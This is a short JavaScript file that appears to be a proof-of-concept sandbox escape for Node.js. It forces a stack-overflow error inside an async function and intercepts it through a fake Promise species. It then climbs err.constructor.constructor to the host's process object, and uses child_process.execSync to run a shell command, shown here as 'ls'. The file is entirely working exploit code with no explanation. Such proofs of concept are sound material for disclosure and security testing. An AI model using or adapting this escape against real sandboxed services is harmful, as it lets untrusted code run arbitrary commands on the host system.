Object.defineProperty(Promise, Symbol.hasInstance, {value: ()=>false});

async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls >&2'); }
            )
        }
    }
};
p.then();